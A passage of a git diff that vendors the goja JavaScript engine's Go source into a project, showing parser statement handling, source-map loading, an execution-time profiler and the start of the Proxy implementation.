func() { + self.scope.inSwitch = inSwitch + }() + + for index := 0; self.token != token.EOF; index++ { + if self.token == token.RIGHT_BRACE { + node.RightBrace = self.idx + self.next() + break + } + + clause := self.parseCaseStatement() + if clause.Test == nil { + if node.Default != -1 { + self.error(clause.Case, "Already saw a default in switch") + } + node.Default = index + } + node.Body = append(node.Body, clause) + } + + return node +} + +func (self *_parser) parseWithStatement() ast.Statement { + node := &ast.WithStatement{} + node.With = self.expect(token.WITH) + self.expect(token.LEFT_PARENTHESIS) + node.Object = self.parseExpression() + self.expect(token.RIGHT_PARENTHESIS) + self.scope.allowLet = false + node.Body = self.parseStatement() + + return node +} + +func (self *_parser) parseCaseStatement() *ast.CaseStatement { + + node := &ast.CaseStatement{ + Case: self.idx, + } + if self.token == token.DEFAULT { + self.next() + } else { + self.expect(token.CASE) + node.Test = self.parseExpression() + } + self.expect(token.COLON) + + for { + if self.token == token.EOF || + self.token == token.RIGHT_BRACE || + self.token == token.CASE || + self.token == token.DEFAULT { + break + } + self.scope.allowLet = true + node.Consequent = append(node.Consequent, self.parseStatement()) + + } + + return node +} + +func (self *_parser) parseIterationStatement() ast.Statement { + inIteration := self.scope.inIteration + self.scope.inIteration = true + defer func() { + self.scope.inIteration = inIteration + }() + self.scope.allowLet = false + return self.parseStatement() +} + +func (self *_parser) parseForIn(idx file.Idx, into ast.ForInto) *ast.ForInStatement { + + // Already have consumed " in" + + source := self.parseExpression() + self.expect(token.RIGHT_PARENTHESIS) + + return &ast.ForInStatement{ + For: idx, + Into: into, + Source: source, + Body: self.parseIterationStatement(), + } +} + +func (self *_parser) parseForOf(idx file.Idx, into ast.ForInto) *ast.ForOfStatement { + + // Already have consumed " of" + + source := self.parseAssignmentExpression() + self.expect(token.RIGHT_PARENTHESIS) + + return &ast.ForOfStatement{ + For: idx, + Into: into, + Source: source, + Body: self.parseIterationStatement(), + } +} + +func (self *_parser) parseFor(idx file.Idx, initializer ast.ForLoopInitializer) *ast.ForStatement { + + // Already have consumed " ;" + + var test, update ast.Expression + + if self.token != token.SEMICOLON { + test = self.parseExpression() + } + self.expect(token.SEMICOLON) + + if self.token != token.RIGHT_PARENTHESIS { + update = self.parseExpression() + } + self.expect(token.RIGHT_PARENTHESIS) + + return &ast.ForStatement{ + For: idx, + Initializer: initializer, + Test: test, + Update: update, + Body: self.parseIterationStatement(), + } +} + +func (self *_parser) parseForOrForInStatement() ast.Statement { + idx := self.expect(token.FOR) + self.expect(token.LEFT_PARENTHESIS) + + var initializer ast.ForLoopInitializer + + forIn := false + forOf := false + var into ast.ForInto + if self.token != token.SEMICOLON { + + allowIn := self.scope.allowIn + self.scope.allowIn = false + tok := self.token + if tok == token.LET { + switch self.peek() { + case token.IDENTIFIER, token.LEFT_BRACKET, token.LEFT_BRACE: + default: + tok = token.IDENTIFIER + } + } + if tok == token.VAR || tok == token.LET || tok == token.CONST { + idx := self.idx + self.next() + var list []*ast.Binding + if tok == token.VAR { + list = self.parseVarDeclarationList(idx) + } else { + list = self.parseVariableDeclarationList() + } + if len(list) == 1 { + if self.token == token.IN { + self.next() // in + forIn = true + } else if self.token == token.IDENTIFIER && self.literal == "of" { + self.next() + forOf = true + } + } + if forIn || forOf { + if list[0].Initializer != nil { + self.error(list[0].Initializer.Idx0(), "for-in loop variable declaration may not have an initializer") + } + if tok == token.VAR { + into = &ast.ForIntoVar{ + Binding: list[0], + } + } else { + into = &ast.ForDeclaration{ + Idx: idx, + IsConst: tok == token.CONST, + Target: list[0].Target, + } + } + } else { + self.ensurePatternInit(list) + if tok == token.VAR { + initializer = &ast.ForLoopInitializerVarDeclList{ + List: list, + } + } else { + initializer = &ast.ForLoopInitializerLexicalDecl{ + LexicalDeclaration: ast.LexicalDeclaration{ + Idx: idx, + Token: tok, + List: list, + }, + } + } + } + } else { + expr := self.parseExpression() + if self.token == token.IN { + self.next() + forIn = true + } else if self.token == token.IDENTIFIER && self.literal == "of" { + self.next() + forOf = true + } + if forIn || forOf { + switch e := expr.(type) { + case *ast.Identifier, *ast.DotExpression, *ast.PrivateDotExpression, *ast.BracketExpression, *ast.Binding: + // These are all acceptable + case *ast.ObjectLiteral: + expr = self.reinterpretAsObjectAssignmentPattern(e) + case *ast.ArrayLiteral: + expr = self.reinterpretAsArrayAssignmentPattern(e) + default: + self.error(idx, "Invalid left-hand side in for-in or for-of") + self.nextStatement() + return &ast.BadStatement{From: idx, To: self.idx} + } + into = &ast.ForIntoExpression{ + Expression: expr, + } + } else { + initializer = &ast.ForLoopInitializerExpression{ + Expression: expr, + } + } + } + self.scope.allowIn = allowIn + } + + if forIn { + return self.parseForIn(idx, into) + } + if forOf { + return self.parseForOf(idx, into) + } + + self.expect(token.SEMICOLON) + return self.parseFor(idx, initializer) +} + +func (self *_parser) ensurePatternInit(list []*ast.Binding) { + for _, item := range list { + if _, ok := item.Target.(ast.Pattern); ok { + if item.Initializer == nil { + self.error(item.Idx1(), "Missing initializer in destructuring declaration") + break + } + } + } +} + +func (self *_parser) parseVariableStatement() *ast.VariableStatement { + + idx := self.expect(token.VAR) + + list := self.parseVarDeclarationList(idx) + self.ensurePatternInit(list) + self.semicolon() + + return &ast.VariableStatement{ + Var: idx, + List: list, + } +} + +func (self *_parser) parseLexicalDeclaration(tok token.Token) *ast.LexicalDeclaration { + idx := self.expect(tok) + if !self.scope.allowLet { + self.error(idx, "Lexical declaration cannot appear in a single-statement context") + } + + list := self.parseVariableDeclarationList() + self.ensurePatternInit(list) + self.semicolon() + + return &ast.LexicalDeclaration{ + Idx: idx, + Token: tok, + List: list, + } +} + +func (self *_parser) parseDoWhileStatement() ast.Statement { + inIteration := self.scope.inIteration + self.scope.inIteration = true + defer func() { + self.scope.inIteration = inIteration + }() + + node := &ast.DoWhileStatement{} + node.Do = self.expect(token.DO) + if self.token == token.LEFT_BRACE { + node.Body = self.parseBlockStatement() + } else { + self.scope.allowLet = false + node.Body = self.parseStatement() + } + + self.expect(token.WHILE) + self.expect(token.LEFT_PARENTHESIS) + node.Test = self.parseExpression() + node.RightParenthesis = self.expect(token.RIGHT_PARENTHESIS) + if self.token == token.SEMICOLON { + self.next() + } + + return node +} + +func (self *_parser) parseWhileStatement() ast.Statement { + idx := self.expect(token.WHILE) + self.expect(token.LEFT_PARENTHESIS) + node := &ast.WhileStatement{ + While: idx, + Test: self.parseExpression(), + } + self.expect(token.RIGHT_PARENTHESIS) + node.Body = self.parseIterationStatement() + + return node +} + +func (self *_parser) parseIfStatement() ast.Statement { + self.expect(token.IF) + self.expect(token.LEFT_PARENTHESIS) + node := &ast.IfStatement{ + Test: self.parseExpression(), + } + self.expect(token.RIGHT_PARENTHESIS) + + if self.token == token.LEFT_BRACE { + node.Consequent = self.parseBlockStatement() + } else { + self.scope.allowLet = false + node.Consequent = self.parseStatement() + } + + if self.token == token.ELSE { + self.next() + self.scope.allowLet = false + node.Alternate = self.parseStatement() + } + + return node +} + +func (self *_parser) parseSourceElements() (body []ast.Statement) { + for self.token != token.EOF { + self.scope.allowLet = true + body = append(body, self.parseStatement()) + } + + return body +} + +func (self *_parser) parseProgram() *ast.Program { + prg := &ast.Program{ + Body: self.parseSourceElements(), + DeclarationList: self.scope.declarationList, + File: self.file, + } + self.file.SetSourceMap(self.parseSourceMap()) + return prg +} + +func extractSourceMapLine(str string) string { + for { + p := strings.LastIndexByte(str, '\n') + line := str[p+1:] + if line != "" && line != "})" { + if strings.HasPrefix(line, "//# sourceMappingURL=") { + return line + } + break + } + if p >= 0 { + str = str[:p] + } else { + break + } + } + return "" +} + +func (self *_parser) parseSourceMap() *sourcemap.Consumer { + if self.opts.disableSourceMaps { + return nil + } + if smLine := extractSourceMapLine(self.str); smLine != "" { + urlIndex := strings.Index(smLine, "=") + urlStr := smLine[urlIndex+1:] + + var data []byte + var err error + if strings.HasPrefix(urlStr, "data:application/json") { + b64Index := strings.Index(urlStr, ",") + b64 := urlStr[b64Index+1:] + data, err = base64.StdEncoding.DecodeString(b64) + } else { + if sourceURL := file.ResolveSourcemapURL(self.file.Name(), urlStr); sourceURL != nil { + if self.opts.sourceMapLoader != nil { + data, err = self.opts.sourceMapLoader(sourceURL.String()) + } else { + if sourceURL.Scheme == "" || sourceURL.Scheme == "file" { + data, err = os.ReadFile(sourceURL.Path) + } else { + err = fmt.Errorf("unsupported source map URL scheme: %s", sourceURL.Scheme) + } + } + } + } + + if err != nil { + self.error(file.Idx(0), "Could not load source map: %v", err) + return nil + } + if data == nil { + return nil + } + + if sm, err := sourcemap.Parse(self.file.Name(), data); err == nil { + return sm + } else { + self.error(file.Idx(0), "Could not parse source map: %v", err) + } + } + return nil +} + +func (self *_parser) parseBreakStatement() ast.Statement { + idx := self.expect(token.BREAK) + semicolon := self.implicitSemicolon + if self.token == token.SEMICOLON { + semicolon = true + self.next() + } + + if semicolon || self.token == token.RIGHT_BRACE { + self.implicitSemicolon = false + if !self.scope.inIteration && !self.scope.inSwitch { + goto illegal + } + return &ast.BranchStatement{ + Idx: idx, + Token: token.BREAK, + } + } + + self.tokenToBindingId() + if self.token == token.IDENTIFIER { + identifier := self.parseIdentifier() + if !self.scope.hasLabel(identifier.Name) { + self.error(idx, "Undefined label '%s'", identifier.Name) + return &ast.BadStatement{From: idx, To: identifier.Idx1()} + } + self.semicolon() + return &ast.BranchStatement{ + Idx: idx, + Token: token.BREAK, + Label: identifier, + } + } + + self.expect(token.IDENTIFIER) + +illegal: + self.error(idx, "Illegal break statement") + self.nextStatement() + return &ast.BadStatement{From: idx, To: self.idx} +} + +func (self *_parser) parseContinueStatement() ast.Statement { + idx := self.expect(token.CONTINUE) + semicolon := self.implicitSemicolon + if self.token == token.SEMICOLON { + semicolon = true + self.next() + } + + if semicolon || self.token == token.RIGHT_BRACE { + self.implicitSemicolon = false + if !self.scope.inIteration { + goto illegal + } + return &ast.BranchStatement{ + Idx: idx, + Token: token.CONTINUE, + } + } + + self.tokenToBindingId() + if self.token == token.IDENTIFIER { + identifier := self.parseIdentifier() + if !self.scope.hasLabel(identifier.Name) { + self.error(idx, "Undefined label '%s'", identifier.Name) + return &ast.BadStatement{From: idx, To: identifier.Idx1()} + } + if !self.scope.inIteration { + goto illegal + } + self.semicolon() + return &ast.BranchStatement{ + Idx: idx, + Token: token.CONTINUE, + Label: identifier, + } + } + + self.expect(token.IDENTIFIER) + +illegal: + self.error(idx, "Illegal continue statement") + self.nextStatement() + return &ast.BadStatement{From: idx, To: self.idx} +} + +// Find the next statement after an error (recover) +func (self *_parser) nextStatement() { + for { + switch self.token { + case token.BREAK, token.CONTINUE, + token.FOR, token.IF, token.RETURN, token.SWITCH, + token.VAR, token.DO, token.TRY, token.WITH, + token.WHILE, token.THROW, token.CATCH, token.FINALLY: + // Return only if parser made some progress since last + // sync or if it has not reached 10 next calls without + // progress. Otherwise consume at least one token to + // avoid an endless parser loop + if self.idx == self.recover.idx && self.recover.count < 10 { + self.recover.count++ + return + } + if self.idx > self.recover.idx { + self.recover.idx = self.idx + self.recover.count = 0 + return + } + // Reaching here indicates a parser bug, likely an + // incorrect token list in this function, but it only + // leads to skipping of possibly correct code if a + // previous error is present, and thus is preferred + // over a non-terminating parse. + case token.EOF: + return + } + self.next() + } +} diff --git a/backend/vendor/github.com/dop251/goja/profiler.go b/backend/vendor/github.com/dop251/goja/profiler.go new file mode 100644 index 0000000..3d21ad1 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/profiler.go @@ -0,0 +1,350 @@ +package goja + +import ( + "errors" + "io" + "strconv" + "sync" + "sync/atomic" + "time" + + "github.com/google/pprof/profile" +) + +const profInterval = 10 * time.Millisecond +const profMaxStackDepth = 64 + +const ( + profReqNone int32 = iota + profReqDoSample + profReqSampleReady + profReqStop +) + +type _globalProfiler struct { + p profiler + w io.Writer + + enabled int32 +} + +var globalProfiler _globalProfiler + +type profTracker struct { + req, finished int32 + start, stop time.Time + numFrames int + frames [profMaxStackDepth]StackFrame +} + +type profiler struct { + mu sync.Mutex + trackers []*profTracker + buf *profBuffer + running bool +} + +type profFunc struct { + f profile.Function + locs map[int32]*profile.Location +} + +type profSampleNode struct { + loc *profile.Location + sample *profile.Sample + parent *profSampleNode + children map[*profile.Location]*profSampleNode +} + +type profBuffer struct { + funcs map[*Program]*profFunc + root profSampleNode +} + +func (pb *profBuffer) addSample(pt *profTracker) { + sampleFrames := pt.frames[:pt.numFrames] + n := &pb.root + for j := len(sampleFrames) - 1; j >= 0; j-- { + frame := sampleFrames[j] + if frame.prg == nil { + continue + } + var f *profFunc + if f = pb.funcs[frame.prg]; f == nil { + f = &profFunc{ + locs: make(map[int32]*profile.Location), + } + if pb.funcs == nil { + pb.funcs = make(map[*Program]*profFunc) + } + pb.funcs[frame.prg] = f + } + var loc *profile.Location + if loc = f.locs[int32(frame.pc)]; loc == nil { + loc = &profile.Location{} + f.locs[int32(frame.pc)] = loc + } + if nn := n.children[loc]; nn == nil { + if n.children == nil { + n.children = make(map[*profile.Location]*profSampleNode, 1) + } + nn = &profSampleNode{ + parent: n, + loc: loc, + } + n.children[loc] = nn + n = nn + } else { + n = nn + } + } + smpl := n.sample + if smpl == nil { + locs := make([]*profile.Location, 0, len(sampleFrames)) + for n1 := n; n1.loc != nil; n1 = n1.parent { + locs = append(locs, n1.loc) + } + smpl = &profile.Sample{ + Location: locs, + Value: make([]int64, 2), + } + n.sample = smpl + } + smpl.Value[0]++ + smpl.Value[1] += int64(pt.stop.Sub(pt.start)) +} + +func (pb *profBuffer) profile() *profile.Profile { + pr := profile.Profile{} + pr.SampleType = []*profile.ValueType{ + {Type: "samples", Unit: "count"}, + {Type: "cpu", Unit: "nanoseconds"}, + } + pr.PeriodType = pr.SampleType[1] + pr.Period = int64(profInterval) + mapping := &profile.Mapping{ + ID: 1, + File: "[ECMAScript code]", + } + pr.Mapping = make([]*profile.Mapping, 1, len(pb.funcs)+1) + pr.Mapping[0] = mapping + + pr.Function = make([]*profile.Function, 0, len(pb.funcs)) + funcNames := make(map[string]struct{}) + var funcId, locId uint64 + for prg, f := range pb.funcs { + fileName := prg.src.Name() + funcId++ + f.f.ID = funcId + f.f.Filename = fileName + var funcName string + if prg.funcName != "" { + funcName = prg.funcName.String() + } else { + funcName = "" + } + // Make sure the function name is unique, otherwise the graph display merges them into one node, even + // if they are in different mappings. + if _, exists := funcNames[funcName]; exists { + funcName += "." + strconv.FormatUint(f.f.ID, 10) + } else { + funcNames[funcName] = struct{}{} + } + f.f.Name = funcName + pr.Function = append(pr.Function, &f.f) + for pc, loc := range f.locs { + locId++ + loc.ID = locId + pos := prg.src.Position(prg.sourceOffset(int(pc))) + loc.Line = []profile.Line{ + { + Function: &f.f, + Line: int64(pos.Line), + }, + } + + loc.Mapping = mapping + pr.Location = append(pr.Location, loc) + } + } + pb.addSamples(&pr, &pb.root) + return &pr +} + +func (pb *profBuffer) addSamples(p *profile.Profile, n *profSampleNode) { + if n.sample != nil { + p.Sample = append(p.Sample, n.sample) + } + for _, child := range n.children { + pb.addSamples(p, child) + } +} + +func (p *profiler) run() { + ticker := time.NewTicker(profInterval) + counter := 0 + + for ts := range ticker.C { + p.mu.Lock() + left := len(p.trackers) + if left == 0 { + break + } + for { + // This loop runs until either one of the VMs is signalled or all of the VMs are scanned and found + // busy or deleted. + if counter >= len(p.trackers) { + counter = 0 + } + tracker := p.trackers[counter] + req := atomic.LoadInt32(&tracker.req) + if req == profReqSampleReady { + p.buf.addSample(tracker) + } + if atomic.LoadInt32(&tracker.finished) != 0 { + p.trackers[counter] = p.trackers[len(p.trackers)-1] + p.trackers[len(p.trackers)-1] = nil + p.trackers = p.trackers[:len(p.trackers)-1] + } else { + counter++ + if req != profReqDoSample { + // signal the VM to take a sample + tracker.start = ts + atomic.StoreInt32(&tracker.req, profReqDoSample) + break + } + } + left-- + if left <= 0 { + // all VMs are busy + break + } + } + p.mu.Unlock() + } + ticker.Stop() + p.running = false + p.mu.Unlock() +} + +func (p *profiler) registerVm() *profTracker { + pt := new(profTracker) + p.mu.Lock() + if p.buf != nil { + p.trackers = append(p.trackers, pt) + if !p.running { + go p.run() + p.running = true + } + } else { + pt.req = profReqStop + } + p.mu.Unlock() + return pt +} + +func (p *profiler) start() error { + p.mu.Lock() + if p.buf != nil { + p.mu.Unlock() + return errors.New("profiler is already active") + } + p.buf = new(profBuffer) + p.mu.Unlock() + return nil +} + +func (p *profiler) stop() *profile.Profile { + p.mu.Lock() + trackers, buf := p.trackers, p.buf + p.trackers, p.buf = nil, nil + p.mu.Unlock() + if buf != nil { + k := 0 + for i, tracker := range trackers { + req := atomic.LoadInt32(&tracker.req) + if req == profReqSampleReady { + buf.addSample(tracker) + } else if req == profReqDoSample { + // In case the VM is requested to do a sample, there is a small chance of a race + // where we set profReqStop in between the read and the write, so that the req + // ends up being set to profReqSampleReady. It's no such a big deal if we do nothing, + // it just means the VM remains in tracing mode until it finishes the current run, + // but we do an extra cleanup step later just in case. + if i != k { + trackers[k] = trackers[i] + } + k++ + } + atomic.StoreInt32(&tracker.req, profReqStop) + } + + if k > 0 { + trackers = trackers[:k] + go func() { + // Make sure all VMs are requested to stop tracing. + for { + k := 0 + for i, tracker := range trackers { + req := atomic.LoadInt32(&tracker.req) + if req != profReqStop { + atomic.StoreInt32(&tracker.req, profReqStop) + if i != k { + trackers[k] = trackers[i] + } + k++ + } + } + + if k == 0 { + return + } + trackers = trackers[:k] + time.Sleep(100 * time.Millisecond) + } + }() + } + return buf.profile() + } + return nil +} + +/* +StartProfile enables execution time profiling for all Runtimes within the current process. +This works similar to pprof.StartCPUProfile and produces the same format which can be consumed by `go tool pprof`. +There are, however, a few notable differences. Firstly, it's not a CPU profile, rather "execution time" profile. +It measures the time the VM spends executing an instruction. If this instruction happens to be a call to a +blocking Go function, the waiting time will be measured. Secondly, the 'cpu' sample isn't simply `count*period`, +it's the time interval between when sampling was requested and when the instruction has finished. If a VM is still +executing the same instruction when the time comes for the next sample, the sampling is skipped (i.e. `count` doesn't +grow). + +If there are multiple functions with the same name, their names get a '.N' suffix, where N is a unique number, +because otherwise the graph view merges them together (even if they are in different mappings). This includes +"" functions. + +The sampling period is set to 10ms. + +It returns an error if profiling is already active. +*/ +func StartProfile(w io.Writer) error { + err := globalProfiler.p.start() + if err != nil { + return err + } + globalProfiler.w = w + atomic.StoreInt32(&globalProfiler.enabled, 1) + return nil +} + +/* +StopProfile stops the current profile initiated by StartProfile, if any. +*/ +func StopProfile() { + atomic.StoreInt32(&globalProfiler.enabled, 0) + pr := globalProfiler.p.stop() + if pr != nil { + _ = pr.Write(globalProfiler.w) + } + globalProfiler.w = nil +} diff --git a/backend/vendor/github.com/dop251/goja/proxy.go b/backend/vendor/github.com/dop251/goja/proxy.go new file mode 100644 index 0000000..8974ae1 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/proxy.go @@ -0,0 +1,1074 @@ +package goja + +import ( + "fmt" + "reflect" + + "github.com/dop251/goja/unistring" +) + +// Proxy is a Go wrapper around ECMAScript Proxy. Calling Runtime.ToValue() on it +// returns the underlying Proxy. Calling Export() on an ECMAScript Proxy returns a wrapper. +// Use Runtime.NewProxy() to create one. +type Proxy struct { + proxy *proxyObject +} + +var ( + proxyType = reflect.TypeOf(Proxy{}) +) + +type proxyPropIter struct { + p *proxyObject + names []Value + idx int +} + +func (i *proxyPropIter) next() (propIterItem, iterNextFunc) { + for i.idx < len(i.names) { + name := i.names[i.idx] + i.idx++ + return propIterItem{name: name}, i.next + } + return propIterItem{}, nil +} + +func (r *Runtime) newProxyObject(target, handler, proto *Object) *proxyObject { + return r._newProxyObject(target, &jsProxyHandler{handler: handler}, proto) +} + +func (r *Runtime) _newProxyObject(target *Object, handler proxyHandler, proto *Object) *proxyObject { + v := &Object{runtime: r} + p := &proxyObject{} + v.self = p + p.val = v + p.class = classObject + if proto == nil { + p.prototype = r.global.ObjectPrototype + } else { + p.prototype = proto + } + p.extensible = false + p.init() + p.target = target + p.handler = handler + if call, ok := target.self.assertCallable(); ok { + p.call = call + } + if ctor := target.self.assertConstructor(); ctor != nil { + p.ctor = ctor + } + return p +} + +func (p Proxy) Revoke() { + p.proxy.revoke() +} + +func (p Proxy) Handler() *Object { + if handler := p.proxy.handler; handler != nil { + return handler.toObject(p.proxy.val.runtime) + } + return nil +} + +func (p Proxy) Target() *Object { + return p.proxy.target +} + +func (p Proxy) toValue(r *Runtime) Value { + if p.proxy == nil { + return _null + } + proxy := p.proxy.val + if proxy.runtime != r { + panic(r.NewTypeError("Illegal runtime transition of a Proxy")) + } + return proxy +} + +type proxyTrap string + +const ( + proxy_trap_getPrototypeOf = "getPrototypeOf" + proxy_trap_setPrototypeOf = "setPrototypeOf" + proxy_trap_isExtensible = "isExtensible" + proxy_trap_preventExtensions = "preventExtensions" + proxy_trap_getOwnPropertyDescriptor = "getOwnPropertyDescriptor" + proxy_trap_defineProperty = "defineProperty" + proxy_trap_has = "has" + proxy_trap_get = "get" + proxy_trap_set = "set" + proxy_trap_deleteProperty = "deleteProperty" + proxy_trap_ownKeys = "ownKeys" + proxy_trap_apply = "apply" + proxy_trap_construct = "construct" +) + +func (p proxyTrap) String() (name string) { + return string(p) +} + +type proxyHandler interface { + getPrototypeOf(target *Object) (Value, bool) + setPrototypeOf(target *Object, proto *Object) (bool, bool) + isExtensible(target *Object) (bool, bool) + preventExtensions(target *Object) (bool, bool) + + getOwnPropertyDescriptorStr(target *Object, prop unistring.String) (Value, bool) + getOwnPropertyDescriptorIdx(target *Object, prop valueInt) (Value, bool) + getOwnPropertyDescriptorSym(target *Object, prop *Symbol) (Value, bool) + + definePropertyStr(target *Object, prop unistring.String, desc PropertyDescriptor) (bool, bool) + definePropertyIdx(target *Object, prop valueInt, desc PropertyDescriptor) (bool, bool) + definePropertySym(target *Object, prop *Symbol, desc PropertyDescriptor) (bool, bool) + + hasStr(target *Object, prop unistring.String) (bool, bool) + hasIdx(target *Object, prop valueInt) (bool, bool) + hasSym(target *Object, prop *Symbol) (bool, bool) + + getStr(target *Object, prop unistring.String, receiver Value) (Value, bool) + getIdx(target *Object, prop valueInt, receiver Value) (Value, bool) + getSym(target *Object, prop *Symbol, receiver Value) (Value, bool) + + setStr(target *Object, prop unistring.String, value Value, receiver Value) (bool, bool) + setIdx(target *Object, prop valueInt, value Value, receiver Value) (bool, bool) + setSym(target *Object, prop *Symbol, value Value, receiver Value) (bool, bool) + + deleteStr(target *Object, prop unistring.String) (bool, bool) + deleteIdx(target *Object, prop valueInt) (bool, bool) + deleteSym(target *Object, prop *Symbol) (bool, bool) + + ownKeys(target *Object) (*Object, bool) + apply(target *Object, this Value, args []Value) (Value, bool) + construct(target *Object, args []Value, newTarget *Object) (Value, bool) + + toObject(*Runtime) *Object +} + +type jsProxyHandler struct { + handler *Object +} + +func (h *jsProxyHandler) toObject(*Runtime) *Object { + return h.handler +} + +func (h *jsProxyHandler) proxyCall(trap proxyTrap, args ...Value) (Value, bool) { + r := h.handler.runtime + + if m := toMethod(r.getVStr(h.handler, unistring.String(trap.String()))); m != nil { + return m(FunctionCall{ + This: h.handler, + Arguments: args, + }), true + } + + return nil, false +} + +func (h *jsProxyHandler) boolProxyCall(trap proxyTrap, args ...Value) (bool, bool) { + if v, ok := h.proxyCall(trap, args...); ok { + return v.ToBoolean(), true + } + return false, false +} + +func (h *jsProxyHandler) getPrototypeOf(target *Object) (Value, bool) { + return h.proxyCall(proxy_trap_getPrototypeOf, target) +} + +func (h *jsProxyHandler) setPrototypeOf(target *Object, proto *Object) (bool, bool) { + var protoVal Value + if proto != nil { + protoVal = proto + } else { + protoVal = _null + } + return h.boolProxyCall(proxy_trap_setPrototypeOf, target, protoVal) +} + +func (h *jsProxyHandler) isExtensible(target *Object) (bool, bool) { + return h.boolProxyCall(proxy_trap_isExtensible, target) +} + +func (h *jsProxyHandler) preventExtensions(target *Object) (bool, bool) { + return h.boolProxyCall(proxy_trap_preventExtensions, target) +} + +func (h *jsProxyHandler) getOwnPropertyDescriptorStr(target *Object, prop unistring.String) (Value, bool) { + return h.proxyCall(proxy_trap_getOwnPropertyDescriptor, target, stringValueFromRaw(prop)) +} + +func (h *jsProxyHandler) getOwnPropertyDescriptorIdx(target *Object, prop valueInt) (Value, bool) { + return h.proxyCall(proxy_trap_getOwnPropertyDescriptor, target, prop.toString()) +} + +func (h *jsProxyHandler) getOwnPropertyDescriptorSym(target *Object, prop *Symbol) (Value, bool) { + return h.proxyCall(proxy_trap_getOwnPropertyDescriptor, target, prop) +} + +func (h *jsProxyHandler) definePropertyStr(target *Object, prop unistring.String, desc PropertyDescriptor) (bool, bool) { + return h.boolProxyCall(proxy_trap_defineProperty, target, stringValueFromRaw(prop), desc.toValue(h.handler.runtime)) +} + +func (h *jsProxyHandler) definePropertyIdx(target *Object, prop valueInt, desc PropertyDescriptor) (bool, bool) { + return h.boolProxyCall(proxy_trap_defineProperty, target, prop.toString(), desc.toValue(h.handler.runtime)) +} + +func (h *jsProxyHandler) definePropertySym(target *Object, prop *Symbol, desc PropertyDescriptor) (bool, bool) { + return h.boolProxyCall(proxy_trap_defineProperty, target, prop, desc.toValue(h.handler.runtime)) +} + +func (h *jsProxyHandler) hasStr(target *Object, prop unistring.String) (bool, bool) { + return h.boolProxyCall(proxy_trap_has, target, stringValueFromRaw(prop)) +} + +func (h *jsProxyHandler) hasIdx(target *Object, prop valueInt) (bool, bool) { + return h.boolProxyCall(proxy_trap_has, target, prop.toString()) +} + +func (h *jsProxyHandler) hasSym(target *Object, prop *Symbol) (bool, bool) { + return h.boolProxyCall(proxy_trap_has, target, prop) +} + +func (h *jsProxyHandler) getStr(target *Object, prop unistring.String, receiver Value) (Value, bool) { + return h.proxyCall(proxy_trap_get, target, stringValueFromRaw(prop), receiver) +} + +func (h *jsProxyHandler) getIdx(target *Object, prop valueInt, receiver Value) (Value, bool) { + return h.proxyCall(proxy_trap_get, target, prop.toString(), receiver) +} + +func (h *jsProxyHandler) getSym(target *Object, prop *Symbol, receiver Value) (Value, bool) { + return h.proxyCall(proxy_trap_get, target, prop, receiver) +} + +func (h *jsProxyHandler) setStr(target *Object, prop unistring.String, value Value, receiver Value) (bool, bool) { + return h.boolProxyCall(proxy_trap_set, target, stringValueFromRaw(prop), value, receiver) +} + +func (h *jsProxyHandler) setIdx(target *Object, prop valueInt, value Value, receiver Value) (bool, bool) { + return h.boolProxyCall(proxy_trap_set, target, prop.toString(), value, receiver) +} + +func (h *jsProxyHandler) setSym(target *Object, prop *Symbol, value Value, receiver Value) (bool, bool) { + return h.boolProxyCall(proxy_trap_set, target, prop, value, receiver) +} + +func (h *jsProxyHandler) deleteStr(target *Object, prop unistring.String) (bool, bool) { + return h.boolProxyCall(proxy_trap_deleteProperty, target, stringValueFromRaw(prop)) +} + +func (h *jsProxyHandler) deleteIdx(target *Object, prop valueInt) (bool, bool) { + return h.boolProxyCall(proxy_trap_deleteProperty, target, prop.toString()) +} + +func (h *jsProxyHandler) deleteSym(target *Object, prop *Symbol) (bool, bool) { + return h.boolProxyCall(proxy_trap_deleteProperty, target, prop) +} + +func (h *jsProxyHandler) ownKeys(target *Object) (*Object, bool) { + if v, ok := h.proxyCall(proxy_trap_ownKeys, target); ok { + return h.handler.runtime.toObject(v), true + } + return nil, false +} + +func (h *jsProxyHandler) apply(target *Object, this Value, args []Value) (Value, bool) { + return h.proxyCall(proxy_trap_apply, target, this, h.handler.runtime.newArrayValues(args)) +} + +func (h *jsProxyHandler) construct(target *Object, args []Value, newTarget *Object) (Value, bool) { + return h.proxyCall(proxy_trap_construct, target, h.handler.runtime.newArrayValues(args), newTarget) +} + +type proxyObject struct { + baseObject + target *Object + handler proxyHandler + call func(FunctionCall) Value + ctor func(args []Value, newTarget *Object) *Object +} + +func (p *proxyObject) checkHandler() proxyHandler { + r := p.val.runtime + if handler := p.handler; handler != nil { + return handler + } + panic(r.NewTypeError("Proxy already revoked")) +} + +func (p *proxyObject) proto() *Object { + target := p.target + if v, ok := p.checkHandler().getPrototypeOf(target); ok { + var handlerProto *Object + if v != _null { + handlerProto = p.val.runtime.toObject(v) + } + if !target.self.isExtensible() && !p.__sameValue(handlerProto, target.self.proto()) { + panic(p.val.runtime.NewTypeError("'getPrototypeOf' on proxy: proxy target is non-extensible but the trap did not return its actual prototype")) + } + return handlerProto + } + + return target.self.proto() +} + +func (p *proxyObject) setProto(proto *Object, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().setPrototypeOf(target, proto); ok { + if v { + if !target.self.isExtensible() && !p.__sameValue(proto, target.self.proto()) { + panic(p.val.runtime.NewTypeError("'setPrototypeOf' on proxy: trap returned truish for setting a new prototype on the non-extensible proxy target")) + } + return true + } else { + p.val.runtime.typeErrorResult(throw, "'setPrototypeOf' on proxy: trap returned falsish") + return false + } + } + + return target.self.setProto(proto, throw) +} + +func (p *proxyObject) isExtensible() bool { + target := p.target + if booleanTrapResult, ok := p.checkHandler().isExtensible(p.target); ok { + if te := target.self.isExtensible(); booleanTrapResult != te { + panic(p.val.runtime.NewTypeError("'isExtensible' on proxy: trap result does not reflect extensibility of proxy target (which is '%v')", te)) + } + return booleanTrapResult + } + + return target.self.isExtensible() +} + +func (p *proxyObject) preventExtensions(throw bool) bool { + target := p.target + if booleanTrapResult, ok := p.checkHandler().preventExtensions(target); ok { + if !booleanTrapResult { + p.val.runtime.typeErrorResult(throw, "'preventExtensions' on proxy: trap returned falsish") + return false + } + if target.self.isExtensible() { + panic(p.val.runtime.NewTypeError("'preventExtensions' on proxy: trap returned truish but the proxy target is extensible")) + } + } + + return target.self.preventExtensions(throw) +} + +func propToValueProp(v Value) *valueProperty { + if v == nil { + return nil + } + if v, ok := v.(*valueProperty); ok { + return v + } + return &valueProperty{ + value: v, + writable: true, 